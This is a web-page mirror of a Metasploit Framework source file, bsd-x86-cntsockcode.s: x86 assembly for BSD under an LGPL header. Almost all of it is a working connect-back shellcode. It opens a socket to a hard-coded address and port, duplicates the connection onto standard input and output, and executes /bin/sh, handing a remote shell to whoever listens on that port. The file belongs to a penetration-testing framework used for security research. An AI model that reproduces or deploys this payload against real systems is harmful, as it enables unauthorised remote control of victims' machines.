CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/bsd-x86-cntsockcode.s
Views: 11766
1
/*
2
* bsd-x86-cntsockcode.s
3
* Copyright 2004 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
.global _start
22
23
_start:
24
25
# 64 bytes
26
27
cntsockcode:
28
pushl $0x0100007f
29
pushl $0xd20402ff
30
movl %esp,%edi
31
32
xorl %eax,%eax
33
pushl %eax
34
pushl $0x01
35
pushl $0x02
36
pushl $0x10
37
movb $0x61,%al
38
int $0x80
39
40
pushl %edi
41
pushl %eax
42
pushl %eax
43
pushl $0x62
44
popl %eax
45
int $0x80
46
47
pushl %eax
48
49
0:
50
pushl $0x5a
51
popl %eax
52
int $0x80
53
54
decl -0x18(%edi)
55
jns 0b
56
57
shellcode:
58
# xorl %eax,%eax
59
# pushl %eax
60
pushl $0x68732f2f
61
pushl $0x6e69622f
62
movl %esp,%ebx
63
pushl %eax
64
pushl %esp
65
pushl %ebx
66
pushl %eax
67
movb $0x3b,%al
68
int $0x80
69
70
71